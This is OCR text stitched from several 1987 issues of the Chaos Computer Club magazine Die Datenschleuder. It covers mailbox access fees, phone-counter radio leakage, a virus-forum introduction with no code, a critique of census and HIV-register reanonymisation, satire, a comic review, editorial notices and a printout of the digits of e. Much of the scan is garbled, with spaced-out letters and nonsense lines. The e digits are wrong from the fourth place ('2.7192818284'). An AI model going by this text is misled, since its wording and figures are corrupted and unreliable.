trägt 3 Monate. 

2. Die CLINCH-Box (Uber Telefonport Hamburg 
und Datex-P) 

Der wesentliche Grund zur Verlagerung der Club-
kommunikation ist der Standortvorteil der CLINCH-
Box. Sie ist für die Hamburger zum Ortstarif erreich-
bar und verfügt zudem über einen Datex-P-Zugang. 
Die CLINCH-Box unterscheidet sich jedoch von 
dem Standard der INFEX-Box. So kann jeweils nur 
ein Nutzer(wahlweise Telefon oder Datex) zugreifen. 
Auch fehlt der Komfort in Sachen Datenbanken und 
Telexverkehr. Es wird zwar eine Vermittlung angebo-
ten, die jedoch nur ein Notlösung ist. Wer den Telex-
Zugang benötigt, sollte das komfortablere 1NFEX-
System wählen. 

Auf derCLINCH-Box wird in Zukunft die DATEN-
SCHLEUDER redaktionell erstellt und (da dieses 
System auf Selbstkostenbasis betrieben wird) auch 
kostenfrei zum Abruf angeboten. Es finden sich dort 
auch diverse Diskussionsforen der Mitglieder und 
anderer Gruppierungen. 

Hier kurz die Nutzungskosten der CL) NCH- Box: 
Mitgliedschaft im CCC (für den Zugang zu den clu-
binternen Infos) 
Für Schüler und Studenten DM 24,- jährlich Für 
Vollverdiener DM 60,-jährlich zuzüglich Kosten für 
vermittelte Dienstleistungen (Telex,Datenbankabfra-
gen..) 
Die Nutzungsgebühren für das System werden direkt 
von der CLINCH Box in Rechnung gestellt. Kündi-
gungsfrist zum Ende jeden Monats. 
Die Redaktion hofft, daß durch Wahl eines preiswer-
teren Kommunikationsweges mehr Interessenten den 
Zugang zu Clubinformationen finden, als dies bisher 
möglich.war. Weiterhin werden die Mitglieder, die 
einen Zugang zu GEONET benötigen, diesen im 
Rahmen der Mitgliedschaft preiswert erhalten. Im 
Vordergrund der Auswahl für eines der beiden Sy-
steme sollte einzig die Frage des Bedarfs stehen. Ge-
wisse Kommunikationsaufgaben lassen sich nur mit 
kommerziellen Systemen bewältigen, andere hinge-
gen sind preiswerter lösbar. Lassen Sie sich von der 
Geschäftsstelle des CCC beraten. 
Anfragen zur Teilnahme an den Mailboxsystemen im 
Rahmen der CCC- Mitgliedschaft können an die 
Clubadresse oder die CLINCH Box mit dem Stich-
wort „CC-Center" gerichtet werden. 

Fernmündliche Auskünfte: 
CCC Geschäftsstelle: 040- 490 37 57 
Btx-Redaktion LS23 :040- 48 37 52 
Datenauskünfte: 
CLINCH Telefon : 040- 632 35 17 
CLINCH Datex : 44400090314 
Im GEONET : Brett IFX1 :DatenschIeuder 
LS23 
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Congress 
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O n l i n e - M a i l b o x , D a t e n t u n k , V i d e o s , K l ö n s c h n a c k , u n d . . u n d . . . 
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S c h o p p e n m i t t O n l H a c k e r n a u s s e c h s L ä n d e r n . 

E i n t r i t t s p r e i s e : M i t g l i e d e r 1 5 . - , p r i v a t e T e i l n e h m e r 2 0 . - , 
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• 2 0 1 
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2 0 0 0 H a m b u r g 2 0 

e . V 

T e l e t o n 0 4 0 / 4 9 0 3 7 5 7 B T X : 6 5 5 3 2 2 
Wil la r i Informil lonan lauland In d i r CLINCH - Mailbox Hamburg 
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Das wissenschaftliche Fachblatt für Datenreisende 
Ein Organ des Chaos Computer Club f 
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Die D a t c n s c h l c u d e r Nr. 18 

Februar 1987 

The Ultimate Message Error 
... und weitere Neuigkeiten 

aus der Magnetic Media Metropolis 

A count: Ergebnisse des CCC'86: Dokumentation: 

Volkszählung NETWEAVING & Real Hacking Computer Viren 





Strahlengefahr 

aus dem Telefon 

Wir berichteten in der letzten Ausgabe (ds 17) über 
ein neues Leistungsmerkmal der Gebührenzähler in 
Posttelefonen. Inzwischen beschäftigt sich der Bun-
desbeauftragte filrden Datenschutz (BfD) mit diesem 
Phänomen. 
Festgestellt wurde, daß alle mechanischen Gebüh-
renzähler (herkömmlicher Bauart, ca. 1,3 Mio.) einen 
Fehler im "Begrenzverstärker" aufweisen und da-
durch (in Toleranzgrenzen) im Langwellenbereich 
das Gespräch wie ein Sender ausstrahlen. Dieses Si-
gnal wurde mit guten Empfängern beim FTZ noch in 
40 cm Entfernung gemessen. Inwieweit metallische 
Leitungsführungen (z. B. Heizungen) dieses Sendesi-
gnal weiterleiten und dadurch die Reichweite ver-
stärken, wurde noch nicht berücksichtigt. 
Eine Austauschaktion der betreffenden Gebühren-
zähler erscheint dem BfD im Verhältnis zum Auf-
wand nicht angemessen. Vielmehr sollten alle betref-
fenden Fernsprechteilnehmer über diesen Umstand 
informiert werden. Desweiteren ist es zu überdenken, 
die Störstrahlenverordnungen für zukünftige Entwic-
klungen anzupassen. Bisher entsprechen die "strah-
lenden" Telefone diesen Vorschriften. 
Strahlende Fernsprechteilnehmer erhielten bisher 
kostenfrei Ersatzgeräte. Derzeit läuft gerade eine 
Bundestagsanfrage derGRÜNEN zu diesem Thema, 
über deren Ausgang wir berichten werden. 

LS23 
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DPA hackt 

Tief versunken in der Arbeit werkelte am Dienstag, 
den 9. Dezember 86 die G.ID.-Redaktion (Genethi-
sche InformationsDienste; die biologische Daten-
schleuder) an ihrer nächsten Ausgabe. Plötzlich 
schrillte das Telefon. Eine Mitarbeiterin der Deut-
schen Presse- Agentur hatte am Himmel ein Flugzeug 
entdeckt, welches eine mysteriöse Zahlenkombina-
tion in die Wolken über Hamburg schrieb. 
Durch kreatives Betrachten konjite die Zahlenreihe 
190 119 entziffert werden, wobei sich sofort der 
Schluß aufdrängte, es könne sich um eine Telefon-
nummer handeln. Das Telefon wurde angeworfen -
und tatsächlich. 
DOCH AUF DER ANDEREN SEITE WAR KEI-
NE MENSCHLICHE STIMME - sondern ein 
merkwürdiger Piepston. Nun sind auch dpa-Journa-
listen technisch versiert und schlußfolgerten, daß es 
sich um einen "Computerton" handeln muß. Sofort 
wurde das hauseigene Texi aktiviert und munter 
drauflos gehackt. Allerdings ohne Erfolg. Hilfe wur-
de nun von der angeblich technisch versierten G.ID-
Redaktion erbeten. Doch auch diese scheiterte am 
beschränkten know how. 
Um das Gesicht zu wahren, beschloß man, das Pro-
blemfeld zu verlagern und "nichttechnische Alterna-
tiven" einzuleiten. Ein Anruf beim Flughafen-Tower 

förderte den Namen des himmelschreibenden Piloten 
zutage. Dieser, gerade wieder festen Boden unter den 
Füßen, zeigte sich eher belustigt über die Interpreta-
tion des Hauses dpa. Er habe die Telefonnummer 
611061 an den Himmel geschrieben, und das wäre die 
Rufnummer einer Hamburger Taxizentrale. Da hätte 
dpa wohl einen etwas falschen Standpunkt gehabt 
und die Zahlen verdreht. 
Wer da nun was hinter die Rufnummer 190119 ge-
klemmt hat, ist bis zur Stunde unbekannt. Wie aus gut 
unterrichteten Kreisen verlaute!, wurden erste Re-
cherchen angeleiert. Möglicherweise handelt es sich 
aber auch nur um ein einfaches Telefax-Gerät... 
jwi 
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Stellenanzeige 

Wir stellen 1: 

- Buchhalter(in) 
- Datatypist(in) 

- Programmierer(in) für C, Pascal, Ba-
sic, 68000 Assembler 

- Chefsekretär(in) 
- Postbearbeiter(in) 
- Archivar(in) 
Aber nicht etwa sechs Einzelpersonen, sondern 
EINE fähige Kraft, die das alles zusammen kann, 
ohne nach 46.983 Sekunden (bisherige Bestleistung) 
einen Zusammenbruch zu erleiden. Wir sind ein auf-
strebender Verein von Computerchaoten auf der Su-
che nach den Problemen, für die wir jetzt schon Lö-
sungen haben. 

Wir bieten: 

- angenehme Arbeitsatmosphäre in einem typischen 
Feuchtbiotop 
- rasche Aufstiegsmöglichkeiten (ein Teil unseres 
Archivs lagert auf dem Dachboden) IL- abwechs-
lungsreiche Tätigkeit (jeden Tag ein anderes Dalum) 
- interessante Sozialleistungen (was wir uns leisten, ist 
wirklich sozial = gemein) 
- angemessene Bezahlung (unserem Konto angemes-
sen) 
- eigenverantwortliche Tätigkeit (wir werden Sie 
schon zur Verantwortung ziehen) 
- gleitende Arbeitszeit (Sie haben da zu sein, wenn wir 
Sie brauchen) 
- klare Arbeitstrukturen (Sie erhalten maximal sieben 
widersprüchliche Auträge) 

Wir erwarten: 

- keine Widerrede 
Bewerbungen bitte bis gestern an die Re(d)aktion; 
Lichtbild unnötig, Lebenslauf und Referenzen un-
wichtig. Wer sich bei uns bewirbt hat eh keine andere 
Wahl. Gewerkschaftler erwünscht (sofern Mitglied 
der Gewerkschaft der Sklaven des römischen Rei-
ches), 
gobiin 
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Das PC-Virenforum 

Eine Dokumentation in fünf Teilen 

von Steffen Wernery 

Teil 1 - Virus Grundlagen, ein geschichtlicher Rückblick 

Teil 2 - PC-Virus Grundlagen (basierend auf MS-DOS) 

Teil 3 - Der Demovirus für MS-DOS 

Teil 4 - Juristische Hinweise 

Teil 5 - Thesen und Ansichten 

"E i n 'Virus'-Programm, ins Betriebssystem 

eingepflanzt, gehört zum Gefährlichsten, 

was ein DV-System bedroht." Zu dieser 

Aussage kam die in Ingelheim erscheinende 

Zeitschrift für Kommunikations- und EDV-

Sicherheit (KES) im . Ju l i 1985. Vorausge-

gangen war die erste deutschsprachige Ver-

öffentlichung über Computerviren in der 

Bayrischen Hackerpost (3/85). Seitdem gei-

stert das Thema durch die Fachpresse und 

wird von Insidern hinter vorgehaltener 

Hand diskutiert. Alle bisherigen Veröffentli-

chungen zu diesem Thema beruhen auf For-

schungsergebnissen, die Fred Cohen 1984 an 

der University of Southern California erar-

beitete. 

Neuere Erkenntnisse, gerade im Hinbl ick 

auf die zunehmende Verbreitung programm-

kompatibler Personalcomputer (PC's), sind 

bis heute nicht bekannt geworden. 

Mitte 1986 tauchten die ersten PC-Viren in 

Freeware (Programme zum Tauschen) aus 

den USA in der B R D auf. In den Folgemo-

naten gingen in der Redaktion der DATEN-

S C H L E U D E R erstmals in Deutschland 

programmierte Viren für Heim- und Perso-

nalcomputer (u.a. MS-DOS) ein. Die ersten 

Programmierer wandten sich an den Chaos 

Computer C lub (CCC ) - wohin sonst? 

Obwoh l durch entsprechende Veröffentli-

chungen in der Fachpresse eine Sensibilität 

für das Gefahrenpotential der Computervi-

ren bei Herstellern von Betriebssystemen, 

( j f f ^ S i c Srtfciiörfjlcit&ct 

den Systemhäusern und Softwareanbietern 

vermutet werden sollte, bewiesen unsere Re-

cherchen das Gegenteil. Die Systemhäuser 

haben oder wollen die Problematik nicht er-

kennen. Ein Bewußtsein, das zur Informa-

tion über Risiken verpflichtet, ist dort bisher 

nicht vorhanden. Vielmehr ist zu erwarten, 

daß Industrie und Handel das Gefahrenpo-

tential durch Unterlassung von Information 

fahrlässig fördern. 

Die meisten Anwender von Personalcom-

putern in Industrie, Handel und Handwerk 

sowie alle privaten Nutzer sind somit dieser 

Entwicklung schutzlos ausgeliefert. 

Der C C C sah sich deshalb veranlaßt, den 

Chaos Communicat ion Congress '86 

(CCC'86) unter den Schwerpunkt "Compu-

ter-Viren" zu stellen. Nur eine Öffentliche 

Diskussion kann eine Sensibilität für diese 

Entwicklungen fördern und Erkenntnisse 

über Folgen, Auswirkungen und Schutzmö-

glichkeiten sammeln und vermitteln. 

Ende Dezember wurde in Hamburg das 

weltweit erste Öffentliche Diskussionsforum 

über Computerviren für Home- und Perso-

nalcomputer abgehalten. Rund 200 Hacker, 

Studenten und Computerfreaks, davon ca. 

20 Programmierer mit Viren-Erfahrungen 

nahmen an diesem Forum teil. 

Diese Dokumentat ion faßt erstmalig Er-

kenntnisse und Diskussionen des VirenFo-

rums zusammen. 
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S b ' - Für ein paar Daten mehr 

In der letzten Ausgabe der Datenschleuder hatten wir 
gezeigt, daß es mit recht einfachen Mitteln möglich 
ist, aus den angeblich faktisch anonymen Daten der 
Volkszähmung wieder auf Einzelpersonen zurückzu-
schließen, vorausgesetzt, man hat Zugriff auf die 
Stammdaten. 

Dies wird mittlerweile auch nicht mehr bestritten, of-
fizielle Stellen ziehen sich nunmehr auf den Stand-
punkt zurück, eine Reanonymisierung sei schon des-
wegen unmöglich, weil sie verboten sei. Im Zweirels-
fall dürfte dieses Verbot allerdings wenig Eindruck 
auf die enstprechenden Stellen machen. In diesem 
Zusammenhang weisen wir nachdrücklich darauf 
hin, daß es staatliche Stellen gibt, für die ganz offen-
sichtlich das Datenschutzgesetz nicht gilt, zum Bei-
spiel den Verfassungsschutz. Der Bundesbeauftragte 
für den Datenschutz durfte in seinen Tätigkeitsbe-
richt keine Informationen aufnehmen, welche die 
Arbeit des Verfassungsschutzes betreffen, da Veröf-
fentlichungen hierzu den Straftatbestand des Lan-
desverrats erfüllen. Im Klartext heisst das: In Bezug 
auf die Geheimdienste findet der Datenschutz nicht 
statt. 

Man muss sich allerdings nicht gleich mit dem Ver-
fassungschutz beschäftigen, wenn man nach Mö-
glichkeiten des Missbrauchs von Daten, die bei der 
Volkszähmung anfallen, sucht. Lücken in der her-
rschenden Gesetzgebung finden sich schon bei der 
Durchführung der Zähmung. So dienen die Einwoh-
nermeldedaten der Kommunen als Grundlage für die 
Ausgabe der Fragebogen, ein Abgleich der Meldeda-
ten mit den Volkszähmungsdaten ist nichl statthaft, 
so daß sich die Frage erhebt, wie die Behörden prak-
tisch vorgehen wollen, um sicherzustellen, daß alle 
Einwohner einen Fragebogen ausfüllen. Der Gesetz-
geber hat hier schlicht versagt, denn weder im Volks-
zähmungsgesetz, noch in den Ausführungsbestim-
mungen hierzu finden sich Regeln, wie die Behörden 
vorzugehen haben. 
Behörden, die gewissenhaft vorgehen, werden Da-
teien erstellen müssen, aus denen hervorgeht, wer 
seinen Fragebogen abgegeben hat. Da es keine ge-
setzliche Regelung hierzu gibt, ist es natürlich auch 
nicht auszuschließen, daß man diese Datei nun mit 
der Einwohnermeldedatei abgleicht und feststellt, 
wer nicht abgegeben hat, es entsteht automatisch eine 
Verweigererdatei, für die es nun wirklich keine recht-
liche Basis mehr gibt. Ähnliches gilt für Leute, die ih-
ren Bogen zwar abgeben, aber beim Ausfüllen Fehler 
gemacht haben. Auch hier entsteht im Zuge der Da-
tenerfassung fast zwangsläufig eine Datei der Fal-
schausfüller. die rechtlich zweifelhaft ist. Es lassen 
sich noch fast beliebig viele Beispiele nennen, wo Da-
tenmißbrauch möglich ist, weil entsprechende 
Rechtsgrundlagen fehlen, es erscheint uns müßig, 
diese alle aufzuzählen, wir überlassen es der Phanta-
sie des Lesers, weitere Anwendungen zu erdenken. 
Oft taucht an dieser Stelle der Einwand auf, daß diese 
Tatsachen ja nur auf die Bürger zutreffen, die 'etwas 
zu verbergen haben' und daß Otto Normaluser keine 
Angst davor zu haben braucht, da ein funktionieren-
der Staatsapparat ihn und seine Daten schützen wür-
de. Der Spruch 'Ich habe nichts zu verbergen' taucht 
in jeder Diskussion über die Volkszähmung mit 
schöner Regelmäßigkeit auf. Dazu nur ein aktuelles 

Beispiel, wie dieser Staatsapparat funktioniert, wenn 
es um die Behandlung sensibler Daten der Bürger 
geht: Im Zuge der AIDS-Bekämpfung hat die Bun-
desregierung die Errichtung einer Datei beschloßen, 
in der alle HIV-Positiven anonym erfasst werden sol-
len. Tatsächlich wird (so wie auch die Volkszäh-
mungsdaten den Namen nicht enthalten) weder Na-
me noch Adresse des Betroffenen gespeichert. Statt-
dessen gibt es in dieser Datei ein Kenndatum, das si-
cherstellen soll, daß keine Doppelerfassungen vor-
kommen. Dieses Kenndatum ist wie folgt organisiert: 
Postleitbereich des Betroffen, also die ersten zwei 
Stellen der Postleitzahl, dann das Geburtsdatum, ge-
folgt vom jeweils dritten Buchstaben des Vor- und 
Nachnamens, sowie der Länge beider Namen. Das 
sieht dann beispielsweise so aus: 2056i8h9. 

Das sieht zwar sehr schön diffus aus. ist aber eine 
ziemlich eindeutige Beschreibung der betroffenen 
Person, schon ein schlichter AT kann binnen fünf-
zehn Minuten aus einem Adressregister die Personen 
heraussuchen, auf die diese Kennung zutrifft, und 
das ohne das Geburtsdatum zu berücksichtigen 
Nach Informationen von Prof. Brunnstein (Informa-
tiker, Uni HH) ist es möglich, nur anhand der Infor-
mationen zum Namen aus einem Adressregister Ber-
lins aus immerhin 1.3 Mio Adressen weniger als zehn 
Adressen zu riltern, bei denen man dann nur noch das 
Alter überprüfen, muss. Hat man Zugriff auf die Ein-
wohnermeldedaten, also auf Alter und Adresse so 
läßt sich praktisch jeder Bundesbürger anhand seines 
Kenndatums zweifelsfrei identifizieren. Anonym 
heisst für den Staat also, daß zwar der Name nicht er-
fasst ist, aber sichergestellt ist, daß man den Namen 
im Zweifelsfall sehr schnell rauskriegt. Jeder sollte 
sich deutlich vor Augen halten, daß es sich hierbei 
keineswegs um eine Datei von Abnormen handelt, 
sondern um «ine Datei, in die jeder einzelne Bürger 
schon morgen rutschen kann, genauso, wie er in die 
Volkszähmungsdatei rutscht. 
Ob es sich um den maschinenfälschbaren Persona-
lausweis handelt, um ZE VIS (Zentralstelle zur Euro-
paweiten Verfolgung Ihrer Standortänderungen), um 
die AIDS- Datei oder um die Volkszähmung: Die 
Bundesrepublik setzt die modernen Information-
stechnologien forciert ein, um verstärkte Kontrolle 
auszuüben, dies mit einem Tempo, als ginge es dar-
um, Orwell nur drei Jahre nach ¡984 weitzu übertref-

volkizl9.doc 198703131235 g0bl'" 

Thares! B Öse Manner haben Euer Gehirn J 
vernebelt ! Sie haben Euch Eure Klugheit ^ 
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Schnellbahnfundsache 

Beim öffentlichen Nahverkehren fand sich am 20. 
März gegen 17 Uhr 30 in der Hamburger S-21 Rich-
tung Eideltown folgender Zettel: 

Computer 

DER Computer beobachtet uns, 
er speichert Informationen 
und druckt sie wieder aus. 
Dann kommen grüne Männer 
mit Schnee auf dem Hut, 
SIEtreten dir die Türe ein 
in diensteilfertigem Heldenmut. 
Sie stellen Dich dann vorGcricht 
und fragen nach den Gründen nicht. 
DER COMPUTER ist das. wonach sie gehn, 
Dir werden sie das Wort im Munde nur verdrehn. 
Wahrheitsfindung heißt das Spiel, 
das sie mit dir treiben. 
Und du wirst bis ans Ende 
in seinem Speicher bleiben. 
ER druckt und spuckt, 
spuckt wie gedruckt, 
WER muckt wird geduckt, 
wer zuckt wird verschluckt. 
Computer - Computer - COMPUTER . . . 

(c) by MUNJÜ, found by Müsli 
smunjui 9.doc 198703251540 

Reanonymisierungsprogramm 
Datenpanne ds 18 

Das in der letzten ds angebotene Reanonymisierung-
spaket zur Volkszählung wurde in den ds-Bestellfet-
zen nach mündlicher Zusage von Dritten aufgenom-
men. Dann rief die Autorin kurz vor der CeBIT in der 
Redaktion an und protestierte gegen die wie sie mein-
te "gewerbsmäßige Verbreitung". Ihr Angebot 
lautete, daß jeder an Uni HH, FBI (Fachbereich In-
formatik), zu Hdn. Fischer-Hübner, Schlüterstr. 70, 
2000 Hamburg 13 adressierter freigemachter Rüc-
kumschlag mit zwei Disketten MSDOS 5,25 Zoll von 
ihr beschrieben und zurückgeschickt wird. Die Re-
daktion bittet um Verzeihung. Schon eingegangenes, 
versehentlich angenommenes Geld wird zurücker-
stattet. DS-RED. 

Volksquälung 1987: 
Intimes aus Dagoberts Datenimpe-

rium 
Die Geschichte der Ver- und Entkabelung in Enten-

hausen. 

Ein einziger Funke von Dagoberts kohlebetriebener 
Dampfrechenmaschine genügt, um seinen Geldspei-
cher in Brand zu setzen. Danach wird er mit einem 
neumodischen Gerät konfrontiert. "Die Maschine . . . 
besteht aus einer Tastatur... und einem Bildschirm, 
auf dem die Ergebnisse erscheinen." Neben Schlitzen 
zum Einführen von Disketten und einem Kabelan-
schluß erleichtern beuchtflächen DRUCKEN und 
STOP die Arbeit. 

Dagobert begreift das Prinzip und lernt BASIC. Er 
verdatet alles und spricht "Mein ganzes Imperium ist 
total verkabelt und durchorganisiert". Die Post? Da-
gobert verkabelt selbst. Höchstens die Kabel hängen 
zu tief. Bei Dagobert fahren nach der elektronischen 
Revolution die Geldlaster so schnell vor, daß er An-
bauprobleme hat. Und der Gemeinderat ordnet an, 
"unverzüglich das Einrichten weiterer Datenverar-
beitungsanlagen zu stoppen"! 

Dagobert weigert sich und die Panzerknacker schlei-
chen hinter einer mauerbemalten Tapete getarnt an 
der Überwachungskamera vor Dagoberts elektroni-
schem Archiv vorbei. 
Am nächsten Morgen beginnt der Gläserne Tag. 
Ganz Entenhausen liest "Dagobert Duck bezahlt die 
Lieferungen mit Schecks von seinem Geheimkonto 
Nr. 3456. Die Bestandteile seines neuen Sparschmie-
röls sind. . . " 
Dagobert schüttelt seinen Computer und schreit ihn 
an: "Halt! Aufhören! Stopp!" und ist beim Zerlegen, 
als Donald und 2T hereinstürmen und rufen "Der 
Computer verbreitet die allervertraulichsten Infor-
mationen über alle Bildschirme der Stadt . . . Warum 
unternimmst du nichts?" 

Das Ende der Geschichte: Wegen einer dummen 
Frage explodieren die Computer und die alte Welt ist 
wieder heil. 
Als Einführungslektüre vor der Erstbenutzung eines 
Computers unbedingt zu empfehlen. Ideologisch be-
dächtig. wau 

( " D i e e lekt ronische R e v o l u t i o n " in : W a l l D isneys Lust ige Ta-
schenbücher 118, M ä r z 1987) 

Ol* entscheidende Präge durch-
lauft In Windeseile die über geriz 
Entenheuaen petpenmen Oetvn-

femlelTungtn... 

. Sehen druckt Mit iHkuwiliUNi 
Drucker Oer eben fei Ii an den Computer 

lit« din BfWicM îhtiA i 
«irwn iMrmaitn Britf 

Eric Swctiidiieitber 
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Wenn u n z u s t e l l b a r 
A n s c h r i f t e n a u s s c h n i t t b i t t e 
m i t n e u e r A d r e s s e z u r ü c k 

In 
eigener 
Sache; 

J A M 

S FT 
y . Festplatten 
jjt Laufwerke 
Jf Compiler 
•y. ST-Sofware 

.y. Modems 

.y. Akustikkoppler 
j f Kommunikations 

Software 

1) Schickt uns keine EINSCHREIBEN, 
die können nämlich bis auf weite-
res nicht angenommen werden (Hab 
keinen Perso in dem ich Chaos 
Computer Club heiße). 
2) Das in der DS18 angebotene 
Paket zur Volkszählung ist nun 
wiederwärtigerweise doch nicht 
lieferbar, da uns die Vertriebs-
rechte von der Autorin nicRt 
erteilt worden sind. Eingegangenen 
Bestellungen werden irgendwie 
erstattet. 
3) Zur Zeit sind auch die Aufkle-
ber "Kabelsalat" und "Achtung 
Abhörgefahr" nicht lieferbar. Vor-
liegende Bestellungen werden auf 
Halde gelegt oder in Briefmarken 
erstattet. 
4)'Bitte schickt uns keine Brief-
marken in 5Pf Werten mehr. Am 
häufigsten brauchen wir 80Pf, aber 
auch 50, 20 und selten 10Pf werden 
benötigt. 
5) Kurze Briefe die sich mit ein 
paar Sätzen beantworten lassen 
(oder mit einer ProbeDS) werden 
schnellstens Bearbeitet. Längere 
Anfragen bitte am einfachsten 

telefonisch über den Club 
(040/4903757) oder in ganz drin-
genden Fällen bei mir Privat (Mo-
Fr. 10-23 Sa-So 12-23 unter 
040/3193604). Das sind KEIME Mail-
boxen und wer sich nicht an die 
angegebenen Zeiten hält der wird 
ohne Antwort auf seine Fragen 
bleiben. DAS IST BIERERNST!!!!! 
6) Wenn ihr was von uns schrift-
lich wollt, dann legt doch am 
besten (für uns) eine ausreichend 
frankierten und korrekt adressier-
ten A5-Umschlag bei. Was ihr für 
unsere Portokasse haltet ist näm-
lich mein privates Portmonaie, und 
das ist leer! 
7) Und noch was, schreibt bitte 
wenigstens eure Adresse leserlich 
(ich bin KEIN Cryptologe) und 
unsere Antworten kommen dann auch 
bei euch an. 
8) Frankiert bitte ausreichend, 
ich mag kein Nachporto, ihr doch 
auch nicht, oder? 
So das wars, was mir auf der Seele 
brannte. 

MFG MRKU 
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1987 Postvertriebsstück 

DM 3,00 Nummer 20 C9927F 

§ t e S a i e n M j I c u b c r 

Das wissenschaftliche Fachblatt für Datenreise 
Ein Organ des Chaos Computer Club - f 

Die Zahl Endlich. Die Genauigkeitsfanatiker haben lan-
ge auf diese Sensation gewartet. Natürlich ver-
öffentlichen wir e, die natürlichste aller natürli-
chen Zahlen, auf 10.000 (in Worten: zehntau-
send) Stellen hinter dem Komma, und zwar als 
Fortsetzungsgeschichte. 
Hier nun die erste Folge der Zahl e, die nach 
337.61 Sekunden aus einem ATARI 520 aus-
geworfen wurde: 

2 . 7 1 9 2 8 18284 5 9 0 4 5 2 3 5 3 6 0 2 3 7 4 7 1 3 5 2 7 4 2 7 2 2 8 3 6 4 8 9 6 1 3 4 2 2 5 1 6 4 4 5 0 7 3 1 8 2 
6 6 2 4 9 7 7 5 7 2 4 7 0 9 3 6 9 9 9 5 9 5 7 4 9 66967 4 4 2 3 5 2 9 4 8 6 3 6 3 7 2 14174 0 2 3 8 3 934 4 1 
6 2 7 7 2 4 0 7 6 6 3 0 3 5 3 5 4 7 5 9 4 5 7 1 3 8 2 1 7 8 2 4 7 9 6 3 5 7 4 3 7 0 2 6 3 75529 4 4 4 8 3 3 7 9 9 8 
5251 6 6 4 2 7 4 2 7 4 6 6 3 9 1 9 3 2 0 0 3 0 5992 1 01612 5 4 9 2 2 7 8 5 0 9 25770 2 5 6 2 0 9 2 6 2 2 
B 1 7 4 1 3 5 9 6 6 2 9 0 4 3 5 7 2 9 0 0 3 3 4 2 95260 6 4 8 3 2 6 2 7 7 9 3 3 3 8 6 5 6 6 4 8 16277 25164 
5 9 5 6 3 0 7 3 8 1 3 2 3 2 8 62794 3 4 9 0 7 6 323 o 0 1 9 1 0 5 9 0 0 4 9 1 6 4 4 9 9 8 2 8 9 3 1 5 0 5 6 6 0 4 
B29B3 0 7 5 3 1 9 5 2 5 1 0 1 9 0 1 1 5738 34197 7 2 5 3 0 2 7 7 8 6 3 1 3 6 4 15519 5 6 5 3 2 4 4 2 5 8 
9 3 0 7 0 2 1 5 4 0 8 9 1 4 9 9 3 4 8 8 4 1 6 7 5 0 9 2 4 4 6 9 8 2 9 4 6 9 5 9 3 0 8 0 1 9 1 5 2 9 8 7 2 1 1 7 2 5 5 6 
761 46 0 6 6 8 0 8 2 2 6 4 8 0 0 1 6 8 4 7 7 4 1 1853 3 4 7 5 4 6 3 ' 6 4 4 7 9 1 0 1 4590 4 0 9 0 5 8 6 2 9 8 
7 4 2 3 4 5 4 4 2 4 3 7 1 0 7 5 3 9 0 7 7 7 4 4 9 9 2 0 6 9 49679 12874 0 6 8 7 0 50489 5 3 5 8 6 71747 
551 70 276 18 .38606 2 6 1 3 3 1 3 8 4 5 0.3000 9 3 5 4 6 6 7 7 5 7 5 7 3 2 0 563 1 2 3 8 4 5 9 2054 1 
7 5 2 0 4 4 9 3 3 8 2 6 5 6 0 2 9 7 6 0 6 7 3 7 1 13200 3 3 4 0 5 3 9 2 2 0 0 0 1 1 3 7 8 6 3 0 0 9 4 5 5 6 0 6 8 8 
7 0 9 3 2 8 7 0 9 1 2 7 4 4 3 7 4 7 0 4 7 2 3 0 6 9 6 9 7 7 16674 0 0 1 6 9 8 4 2 0 5 5 3 0 4 0 33637 9 5 3 7 6 
2093 1 0 1 4 1 6 9 2 8 3 6 8 1 9 0 2 5 5 1 5 1 0 3 6 5 7 45203 0 4 0 2 4 3 2 2 5 6 6 1 3 5 2 7 3 3 6 9 5 1 1 7 7 
4 6 3 7 7 2 1 1 1 2 5 2 3 8 9 7 8 4 4 2 5 0 5 6 9 5 3 6 9 6 3 8 3 8 6 3 8 7 4 4 3 9 6 6 2 5 3 2 2 4 9 8 5 0 6 5 4 9 9 5 
7 7 0 7 8 5 4 4 9 9 6 9 9 6 7 9 4 6 8 6 4 4 5 4 9 8 5 9 8 7 8 8 6 2 3 4 2 8 1 8 9 9 7 0 7 73327 6 1 7 1 7 8 3 9 2 3 
9 3 1 6 3 6 8 8 9 2 3 0 0 9 8 7 9 3 1 2 7736 1 782 15 0 3 4 9 4 6 5 0 1 4 3 4 5 5 8 3 9 7 0 7 19425 8 6 3 9 8 
4 2 4 9 9 9 2 2 9 5 7 6 3 5 1 4 8 2 2 0 8 2 6 9 8 9 5 1 9 3 7 7 2 7 5 4 7 1 0 9 6 2 9 5 3 7 4 1 5 2 1 1 1 5 1 3 6 8 3 5 
6 6 8 0 3 3 1 8 2 5 2 8 8 6 9 3 9 8 4 9 6 4 6 5 1 0 5 8 2 0 0 6 2 7 5 2 6 0 2 3 2 6 4 8 4 7 2 8 7 0 3 9 2 0 7 6 4 3 1 0 
9 3 9 2 3 9 8 2 9 4 8 8 7 9 3 3 2 0 3 6 2 5 0 9 4 4 3 1 1 7 0 5 9 5 3 4 1 1 6 6 12054 5 2 9 7 0 3 0 2 3 6 4 7 2 5 4 
3 0 1 2 3 8 1 9 7 0 6 8 4 1 6 14039 7 0 1 9 8 3 7 6 7 9 9 2 9 6 6 6 9 3 3 1 15137 3 2 2 7 5 3 6 4 5 0 9 8 8 8 9 
3 2 0 6 8 3 2 8 2 3 7 6 4 6 4 8 0 4 2 9 5 3 1 1 8 0 2 3 2 8 0 3 1 3 6 0 2 0 5 7 2 4 8 1 7 6 5 3 5 1 18063 0 3 6 4 4 
7 8 2 5 0 9 8 1 9 4 5 5 8 1 5 3 0 1 7 5 6 7 1 7 3 6 1 3 3 2 2 8 1 2 3 14765 5 0 7 0 4 7 5 1 0 2 5 4 4 6 5 0 1 1 7 2 
0 6 9 8 1 12509 9 6 1 8 1 8 9 1 5 9 304 16 9 0 3 5 1 7 2 1 1 5 5 5 1 9 4 3 6 6 3 5 0 8 0 0 3 6 9 5 3 2 2 8 1 3 3 
5 9 3 3 8 8 5 1 9 3 4 5 3 0 7 2 7 3 8 6 6 7 3 8 5 3 9 4 2 2 15219 6 0 0 3 7 3 5 6 2 5 27944 9 5 1 5 8 284 18 
8 7 9 2 2 8 4 9 9 8 9 2 0 8 6 8 0 5 8 2 5 7 4 9 2 796 10 8 2 9 4 7 3 7 6 1 0 8 5 2 6 3 98139 5 5 9 9 0 0 6 7 3 7 
484 19 8 4 4 4 3 6 3 4 6 3 2 4 4 9 6 8 4 8 7 5 6 0 2 3 3 6 4 8 2 9 2 2 4 4 3 7 5 2 8 7 18462 4 5 7 8 0 3 6 1 9 2 
